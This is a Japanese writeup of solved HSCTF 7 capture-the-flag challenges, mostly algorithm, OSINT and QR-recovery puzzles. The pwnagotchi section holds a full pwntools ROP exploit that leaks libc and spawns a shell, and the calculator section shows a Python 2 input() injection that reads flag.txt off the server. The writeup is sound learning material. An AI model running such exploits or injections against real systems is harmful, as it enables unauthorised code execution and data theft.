HSCTF 7 Writeup
初writeupです。
6月1日~6月6日まで開催されたHSCTF 7にチームAbyss Syndromeとして参加しました。
点数はチーム全体で3715点で、順位は132位/1466チームでした。自分はAlgorithmsとMiscellaneousを中心に解いて、2095点を取りました。
以下、自分が解いた問題のwriteupになります。
- pwnagotchi (Binary Exploitation, 116点)
- Aliens (Algorithms, 343点)
- Holly League (Algorithms, 458点)
- Traffic Lights A (Algorithms, 486点)
- Do Stars Spin? 1 (Miscellaneous, 100点)
- My First Calculator (Miscellaneous, 100点)
- N-95 (Miscellaneous, 392点)
- Very Safe Login (Web Exploitation, 100点)
pwnagotchi (Binary Exploitation, 116点)
与えられた実行ファイルを普通に実行してみると、名前を聞かれるので入力する→ (入力した名前) is not happy!
と出力して終了する、という動作になることが分かります。
gdbで入力した文字列の入力部分を見てみると・・・
getsで入力を受け取っているようです。受け取った文字列はスタックに入るので、スタックオーバーフローを引き起こすことでreturn先を任意のアドレスに変更することができそうです。
そこで、この問題の方針として、ROP(Return-oriented Programming)を用いてシェルを呼び出すということを考えました。しかし、実行ファイル中には直接シェルを呼び出すことができそうなところが見当たりません。そこで、
- 1回目の入力でlibcのアドレスをリークさせる
- mainを再度呼び出し、2回目の入力でシェルを呼び出す
とすると良さそうということが(以下の記事を読んでいたら)分かりました。
ROPを用いたlibcのアドレスのリークと、シェルの呼び出しについては主に以下の記事が参考になりました(PLTアドレスやGOTアドレスがどういうものなのかという点をまだあまり理解できてないので、そのうち完全に理解したい)。
ところが、1回目の入力でlibcのアドレスをリークした後、2回目の入力まで行かず This is weird...
と出力して落ちてしまいます。
スタックを壊したので、バッファ用メモリを確保する部分がおかしくなったのか?と最初は思いましたが、バイナリをしばらく眺めていると、once
、sleepy
、hungry
の3つの変数を使って、 This is weird...
と出力して終了するかどうかの分岐をしていそう、ということが分かりました。
1回目のmainの呼び出しでonce
に1
が代入されているので、once
の値を再度変更するか、sleepy
とhungry
の値を変更できれば良さそうです。
どこかにこれら3つの変数を中身を変更できそうなところはないかと思い、さらにバイナリを眺めていると、sleepy
とhungry
は0
を代入しているところがあるので変更できそう、ということが分かりました。
1回目の入力でこれらの変数も変えることで、2回目の入力を行うことができるようになりました。
シェルを呼び出すときのアドレスのalignにも注意すると(16byte単位でalignされてないといけない)、最終的な攻撃コード(ローカル用)は以下のようになります。
from pwn import * # Import pwntools local_bin = "./pwnagotchi" libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # Library path p = process(local_bin) # start the vuln binary elf = ELF(local_bin) # Extract data from binary rop = ROP(elf) # Find ROP gadgets OFFSET = "A"*20 PUTS_PLT = elf.plt['puts'] MAIN_PLT = elf.symbols['main'] POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) # leak and get libc address def get_addr(func_name): FUNC_GOT = elf.got[func_name] log.info(func_name + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = OFFSET.encode('utf-8') \ # padding + p64(0x40083c) + p64(0x0) \ # let sleepy = 0 + p64(0x4007f7) + p64(0x0) \ # let hungry = 0 + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) # leak libc address # sleep(1) # for actual attempt, wait a bit so the server can send all outputs #Send our rop-chain payload print(p.clean()) # clean socket buffer (read all and print) p.sendline(rop1) #Parse leaked address p.recvline() # skip 4 lines p.recvline() p.recvline() p.recvline() recieved = p.recvline().strip() print(recieved) leak = u64(recieved.ljust(8, b"\x00")) log.info("Leaked libc address, "+func_name+": "+ hex(leak)) #If not libc yet, stop here if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base # Get shell using leaked libc address BINSH = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh SYSTEM = libc.sym["system"] EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) rop2 = OFFSET.encode('utf-8') \ # padding + p64(0x400988) \ # align address before getting shell + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) # get shell # sleep(1) # for actual attempt, wait a bit so the server can send all outputs p.clean() p.sendline(rop2) # Interact with shell p.interactive() #Interact with the conenction
flag{theyre_so_cute}
Aliens (Algorithms, 343点)
問題を要約すると、
大きさの2次元配列が与えられる。配列の各要素は-1もしくは1以上1000以下の整数である。
の部分配列について、を以下のように定義する。
の値を求めよ。つまり、の全ての部分配列について、の総和を求めよ。
という感じです(問題文として与えられるpdfファイルに例が載っているので、それも参考にすると分かりやすいかと思われます)。 入力ファイルが与えられるので、それを入力として問題を解いた時の答えがflagになっている、という形式の問題です。
入力ファイル中にはの値は書かれていませんが、行数を確認すると500行あることがわかるので、であることが分かります。
また、求めたいのは全ての部分配列についてのの総和なので、事前に配列の累積和を計算しておくことで、の値をで求めることができます。
累積和については以下の記事が参考になると思われます。
累積和の前計算はで行うことができて、部分配列の数は個あるので、答えはの時間で求めることができます。よって、開催期間中には十分間に合う程度の効率で答えを求めることができました(DPを利用することでの解法が作れそうな気がしますが、そこまで考えるよりもを実装して答えを求める方が早かったです)。
以下が答えを求めるコード(C++)になります。
#include <iostream> #include <iomanip> #include <vector> #include <algorithm> #include <utility> #include <string> #include <queue> #include <stack> #include <cmath> using namespace std; typedef long long int ll; typedef pair<int, int> Pii; const ll mod = 1000000007; int main() { cin.tie(0); ios::sync_with_stdio(false); constexpr int n = 500; vector<vector<int> > marking(n, vector<int>(n)); for (auto &x: marking) { for (auto &y: x) cin >> y; } vector<vector<ll> > markingSum(n+1, vector<ll>(n+1)); vector<vector<int> > bombCount(n+1, vector<int>(n+1)); for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { markingSum[i+1][j+1] = markingSum[i+1][j] + markingSum[i][j+1] - markingSum[i][j] + marking[i][j]; bombCount[i+1][j+1] = bombCount[i+1][j] + bombCount[i][j+1] - bombCount[i][j] + (marking[i][j] == -1 ? 1 : 0); } } ll ans = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { for (int k = i; k < n; k++) { for (int l = j; l < n; l++) { ll subsquareSum = markingSum[i][j] - markingSum[k+1][j] - markingSum[i][l+1] + markingSum[k+1][l+1]; if (subsquareSum % 13 == 0) { ll subsquareBomb = bombCount[i][j] - bombCount[k+1][j] - bombCount[i][l+1] + bombCount[k+1][l+1]; if (subsquareBomb % 2 == 0) ans += subsquareSum; else ans -= subsquareSum; } } } } } cout << ans << endl; return 0; }
flag{7508511543}
Holly League (Algorithms, 458点)
問題を要約すると、
人の学生と、個の大学がある。人の学生全員について、それぞれ異なる大学を割り当てることを考える。
ここで、各学生と各大学には互いの希望順が決まっており、割り当てを決めたときに、
- ある学生と大学が存在して、(に現在割り当てられている大学の希望順)<(のに対する希望順)かつ(に現在割り当てられている学生の希望順)<(のに対する希望順)を満たす
ような学生と大学の組が存在してはならない(ここで、上のは、の希望順がの希望順よりも早い(=希望度が高い)ことを表す)。
この制約の下で、学生に対して最良の(つまり、できるだけ希望順が早い)大学が割り当てられると仮定したとき、大学に割り当てられる学生の名前を出力せよ。
制約:
という感じになります。
こちらはAliensとは異なり、問題サーバーに接続して、入力の受け取りと解答の出力(サーバー側から問題の入力が1ケース分与えられて、それに正解する、つまり正しい解を送信すると次のケースの入力が与えられる)を行い、制限時間内に全てのケースに正解するとflagがもらえるというものになっています(この問題では、120秒以内に15ケースを解けばflagが入手できる)。
問題自体は安定結婚問題と呼ばれるもので、これを解くための手法としてはGale-Shapleyのアルゴリズムが知られています。よって、Gale-Shapleyのアルゴリズムを利用して、学生側にとって最良の安定マッチングを求めれば問題を解くことができます。
安定結婚問題やGale-Shapleyのアルゴリズムについては以下の記事が分かりやすいかと思われます。
これで問題自体は解くことができましたが、サーバーとの入出力ができるようにしないといけません。こっちが本質
そこで、方針として、pythonの適当なnetcatの実装を貼り付けて、それを使って
入力の受信
入力のパースと問題の求解
問題の解の送信
ができるようにすれば良さそうと考えました。pythonのnetcatの実装については以下を参考にしました。
最終的な解答コードは以下の通りとなりました。なお、サーバーからの問題の入力速度が遅く、制限時間内のflagの入手には何回か試行する必要がありました。やっぱりサーバーとの通信が本質じゃん
import socket import time import errno connection_target = 'algo.hsctf.com' connection_port = 4002 def solve(response, problem_num): # parse problem input response_split = response.split('\n') response_offset = 0 while response_split[response_offset] != f"Here's case {problem_num}!": response_offset += 1 response_offset += 1 parse_idx = 0 while True: if parse_idx == 0: n, t = map(int, response_split[response_offset+parse_idx].split()) student_preference = [None for _ in range(n)] college_preference = [None for _ in range(n)] student_name = [0 for _ in range(n)] elif parse_idx <= n: college_preference[parse_idx-1] = list(map(int, response_split[response_offset+parse_idx].split())) elif parse_idx <= n*2: student_preference[parse_idx-n-1] = list(map(int, response_split[response_offset+parse_idx].split())) elif parse_idx <= n*3: student_name[parse_idx-n*2-1] = response_split[response_offset+parse_idx].rstrip() else: break parse_idx += 1 # solve problem waiting = [n-i-1 for i in range(n)] preference_idx = [0 for _ in range(n)] current_match_of_student = [None for _ in range(n)] current_match_of_college = [None for _ in range(n)] college_preference_dict = [dict() for _ in range(n)] for i in range(n): for j in range(n): college_preference_dict[i][college_preference[i][j]] = j while waiting: print(len(waiting)) now = waiting.pop() if current_match_of_college[student_preference[now][preference_idx[now]]] == None: current_match_of_student[now] = student_preference[now][preference_idx[now]] current_match_of_college[student_preference[now][preference_idx[now]]] = now elif college_preference_dict[student_preference[now][preference_idx[now]]][now] < college_preference_dict[student_preference[now][preference_idx[now]]][current_match_of_college[student_preference[now][preference_idx[now]]]]: waiting.append(current_match_of_college[student_preference[now][preference_idx[now]]]) current_match_of_student[current_match_of_college[student_preference[now][preference_idx[now]]]] = None current_match_of_student[now] = student_preference[now][preference_idx[now]] current_match_of_college[student_preference[now][preference_idx[now]]] = now else: waiting.append(now) preference_idx[now] += 1 for i in range(n): assert(current_match_of_student[i] is not None) assert(current_match_of_college[i] is not None) assert(current_match_of_college[current_match_of_student[i]] == i) return student_name[current_match_of_college[t]] def netcat_client(): buffer = '' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((connection_target, connection_port)) client.setblocking(False) time.sleep(0.5) # wait for server program to start sending data t = 1 while True: recv_len = 1 retry_count = 0 response = '' while True: try: data = client.recv(16384) except Exception as e: print(len(response), flush = True) err = e.args[0] if err in (errno.EAGAIN, errno.EWOULDBLOCK): if retry_count >= 3: break time.sleep(0.2) retry_count += 1 continue else: raise e else: print(len(response), len(data), flush = True) recv_len = len(data) if recv_len == 0: break # probably no more input for now response += data.decode('utf-8') retry_count = 0 print(response.rstrip(), end='', flush=True) if not response: break if t == 16: break ans = solve(response, t) # solve problem print(ans) s = client.sendall(ans.encode('utf-8') + b'\n') t += 1 client.close() except Exception as e: print('[*] Exception! Exiting.') client.close() raise e def main(): netcat_client() if __name__ == '__main__': main()
flag{C0l13g3_4dm15510n5_4r3_n3v3r_t415_ch1ll}
Traffic Lights A (Algorithms, 486点)
問題を要約すると以下の通りになります(一部超意訳と適当な解釈を含みます)。
ある町の道路ネットワークは本の交差点(頂点)と本の道路(辺)から構成されている。全ての道路は一方通行で、各道路には通行する際に必要となるガソリン代と、通れる車の数(最大容量)が決まっている。
あなたは人の従業員を持つ会社の社長であり、全ての従業員に交通費を支給したいと考えている。町には個の住宅地(始点)と個の事業所(終点)があり、各住宅地には従業員を住まわせることのできる人数が、各事業所にはそこで働かせる必要のある従業員の人数がそれぞれ決められている。各従業員は、指定された住宅地から事業所まで、指定されたルート(パス)を通って車で通勤を行う。
各従業員について、適切な住宅地と事業所、通勤ルートを決めたとき、必要となるガソリン代の合計の最小を求めよ。ただし、全ての従業員を事業所まで到達させることができない場合は"Impossible"と出力し、ガソリン代が無限大になる場合は"Infinity"を出力せよ。
制約:
この問題もHolly Leagueと同様に、サーバーから問題と解答のやりとりをして、制限時間内に指定されたケース数だけ解くとflagがもらえるという形式となっています(この問題では120秒以内に10ケース解けばflagが入手できます)。
問題文(特に原文)を読むと、最大容量(原文ではmax flow)とか始点(source nodes)・終点(sink nodes)などの記述があり、いかにもネットワークフローに関連していそうに見えます。
(そもそもネットワークフローって何ぞや?という方はこちらの記事などが参考になるかと思われます。)
実際これは正しくて(ヒントにも書いてある)、この問題は最小コストフローを求める問題になっています。具体的には、供給量がの頂点を1つ追加して、そこから住宅地のある頂点に対して容量、コスト0の辺を追加してから、事業所がある頂点の需要がであるような最小コストフロー問題を解けばよいです。
最小コストフローを求める自前のライブラリは持っていなかったので(お前は本当に競プロerか?)、PythonのライブラリのひとつであるNetworkXを利用して解くことにしました。
以下、解答コードになります。
import socket import time import errno import networkx as nx connection_target = 'algo.hsctf.com' connection_port = 4001 def solve(response, problem_num): g = nx.DiGraph() # parse problem input response_split = response.split('\n') response_offset = 0 while response_split[response_offset] != f"Here's case {problem_num}!": response_offset += 1 response_offset += 1 parse_idx = 0 while True: if parse_idx == 0: n, m, k, l = map(int, response_split[response_offset+parse_idx].split()) g.add_nodes_from(range(0, n+1)) elif parse_idx <= m: u, v, i, f = map(int, response_split[response_offset+parse_idx].split()) g.add_edge(u, v, weight = i, capacity = f) elif parse_idx <= m+k: u, p = map(int, response_split[response_offset+parse_idx].split()) g.add_edge(0, u, weight = 0, capacity = p) elif parse_idx <= m+k+l: u, c = map(int, response_split[response_offset+parse_idx].split()) g.nodes[u]['demand'] = c if 'demand' not in g.nodes[0]: g.nodes[0]['demand'] = -c else: g.nodes[0]['demand'] -= c else: break parse_idx += 1 # solve problem try: flowDict = nx.min_cost_flow(g) ans = 0 for u in range(n+1): for v, f in flowDict[u].items(): ans += f * g[u][v]['weight'] return str(ans) except nx.NetworkXUnfeasible: return 'Impossible' except nx.NetworkXUnbounded: return 'Infinity' def netcat_client(): buffer = '' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((connection_target, connection_port)) client.setblocking(False) time.sleep(0.5) # wait for server program to start sending data t = 1 while True: recv_len = 1 retry_count = 0 response = '' while True: try: data = client.recv(16384) except Exception as e: print(len(response), flush = True) err = e.args[0] if err in (errno.EAGAIN, errno.EWOULDBLOCK): if retry_count >= 3: break time.sleep(0.3) retry_count += 1 continue else: raise e else: print(len(response), len(data), flush = True) recv_len = len(data) if recv_len == 0: break # probably no more input for now response += data.decode('utf-8') retry_count = 0 print(response.rstrip(), end='', flush=True) if not response: break if t == 11: break ans = solve(response, t) # solve problem print(ans) s = client.sendall(ans.encode('utf-8') + b'\n') t += 1 client.close() except Exception as e: print('[*] Exception! Exiting.') client.close() raise e def main(): netcat_client() if __name__ == '__main__': main()
flag{n0_u_c4n7_ju57_u53_n37w0rk_51mpl3x_h4h4_c4r_60_vr00m_69bb3a80}
Do Stars Spin? 1 (Miscellaneous, 100点)
問題文を読んでみますが、どこから取り掛かればよいのかよく分かりません。
幸いにもヒントがあるので、見てみることにしました。
Where can you look to see what PMP has said before?
PMP氏(運営スタッフの一人)の言っていた内容を見るにはどこを見ればよいか?という内容です。
HSCTFのDiscordが思い当たったので、そこでfrom: PMP#5728
と検索をしてみます。するとこんなものを見つけました。
redditで聞いてみるか!(雑訳)と言っているようなので、redditでdostarsevenspin
と検索をしてみます。そうするとdostarsevenspinという名前のユーザーがredditに存在することが分かりました。
どうやらここにflagがあるようです・・が、残念ながらこれは偽のflagでした。
行き詰まってしまいました。が、幸いにもヒントはまだあるようなので、見てみることにします。
How do you view archived/deleted content?
保存された(削除された)内容を見るにはどうすればよいか?というものです。
これを見て、Wayback Machineかなと思い、URLを入れてみます。すると、このユーザーの過去の投稿があった頃のページがありました。
こっちにあるのは本物のflagだったので、これで無事にflagが入手できました。
flag{7t3rE_i5_n0_wAy_a_be3_sh0u1d_BEE_ab13_t0_f1Y_89a89fe1}
My First Calculator (Miscellaneous, 100点)
与えられたソースコードを見てみると、Python2のコードで、かつinput()を使って入力を受け取っているようです。つまり、入力にはPythonの評価式を入れることができるので、これを使ってサーバー側にあるflag.txtの内容を読むことができそうです。
ただし、入力の評価結果はintに変換されてしまうので、後で復元できるような形式の整数になるようにしておく必要があります。自分の場合は、flag.txtの各文字を10進ASCIIコードに変換し、それを3桁区切りでつなげたものにする、という方針を取りました。
$ nc misc.hsctf.com 7001 Welcome to my calculator! You can add, subtract, multiply and divide some numbers First number: int(''.join((str(ord(x)) if len(str(ord(x))) == 3 else '0' + str(ord(x))) for x in open('flag.txt', 'r').readline())) Second number: 0 Operation (+ - * /): + Sorry, only the number 1 is supported 102108097103123112108101097115101095117115101095112121116104111110051125010
これでflag.txtの内容を10進ASCIIコードにしてつなげたものが入手できたので、あとは適切に復元するだけです。
以下のようなことをすれば復元することができます。
def main(): ret = '102108097103123112108101097115101095117115101095112121116104111110051125010' flag = '' for i in range(25): flag += chr(int(ret[i*3:(i+1)*3])) print(flag) if __name__ == '__main__': main()
flag{please_use_python3}
N-95 (Miscellaneous, 392点)
一部が隠れたQRコードが与えられて、それを使う問題です。
とりあえず、分かる範囲でQRコードの復元を手動でやってみることにしてみました。できる限り復元をするとこんな感じになります(青色の部分が復元ができていない箇所。実際には29*29の画像(1セル=1ピクセル)でやっています)
もちろん、カメラなどではまだ読み取れないような状態です。そこで、strong-qr-decoderを利用して読み取りをしてみることにしました。
以下のコードを使ってテキストに変換してから、読み取ってみます。
from PIL import Image im = Image.open('N-95_processed.png') with open('input.txt', 'w', newline='\n') as f: for i in range(25): t = '' for j in range(25): p = im.getpixel((j+2, i+2)) if p == 0: t += 'X' elif p == 2: t += '_' else: t += '?' f.write(t + '\n')
$ python2 strong-qr-decoder-master/sqrd.py input.txt error: 未対応のモード指示子です
読み込めないぞ・・?
QRコードの仕様について色々と調べた結果、モード指示子やらマスクパターンやらというものがあることを知りました(英語版Wikipediaの記事である程度解説されていた)。
マスクパターンの情報(左下の位置検出パターンのすぐ右側と、左上の位置検出パターンのすぐ下側)は復元ができていませんが、strong-qr-decoderのオプションでマスクパターンを指定して読み取りを行うことができるようです。
$ python2 strong-qr-decoder-master/sqrd.py -m 3 input.txt flag{60_dozen_quartz_japS}
無事にflagが取れ・・ていませんでした。入手したflagを入れてみてもIncorrectと出て弾かれてしまいます。 運営さん正解のflagを間違えてないですか
何度か復元をし直したり、適当なセルを変更したりしてみますが、読み取った結果はあまり変化がありませんでした。
そこで、読み取った内容と正解のflagは1文字か2文字程度違うだけだろうと予想(と書いてエスパーと読む)して、読み取った結果の最後2文字を変更したものから同じマスクパターンと大きさのQRコードを生成した結果と、復元したQRコードを比較してみることにしました。
以下のコードを使って、生成したQRコードと復元したQRコードで(分かっている部分が)異なるセルの数を調べてみることにします。
from PIL import Image import qrcode import string import itertools im = Image.open('N-95_processed.png') difference_dict = dict() for x in itertools.product(string.printable, repeat=2): x = ''.join(x) im_ref = qrcode.make(f'flag{{60_dozen_quartz_ja{x}}}', mask_pattern = 3, version = 2, error_correction = qrcode.constants.ERROR_CORRECT_M, border = 2, box_size = 1) difference = 0 for i in range(29): for j in range(29): if im.getpixel((j, i)) == 1: continue # unknown elif im.getpixel((j, i)) == 0 and im_ref.getpixel((j, i)) != 0: difference += 1 elif im.getpixel((j, i)) == 2 and im_ref.getpixel((j, i)) != 255: difference += 1 difference_dict[x] = difference difference_all = list(sorted([(k, v) for (k, v) in difference_dict.items()], key = lambda x: x[1])) print(difference_all)
$ python bruteforce_flag.py [('rs', 0), ('7C', 16), ('p3', 16), ('uq', 16), ('zG', 16), ...(以下略)
どうやら復元した部分が完全に一致するものがあったようです(左が入れた文字、右が異なるセルの数)。
実際にそれをflagとして提出してみると正解になったので、今度こそ無事にflagを入手することができました。
flag{60_dozen_quartz_jars}
Very Safe Login (Web Exploitation, 100点)
とりあえずページのソースを見てみることにします。
<!DOCTYPE html> <html lang="en"> ...(中略)... <script> var login = document.login; function submit() { const username = login.username.value; const password = login.password.value; if(username === "jiminy_cricket" && password === "mushu500") { showFlag(); return false; } return false; } </script> </body> </html>
どうやらソースにユーザーネームとパスワードが直書きされているようです。これを使ってログインしてみます。
あっさりとflagを入手できました。
flag{cl13nt_51de_5uck5_135313531}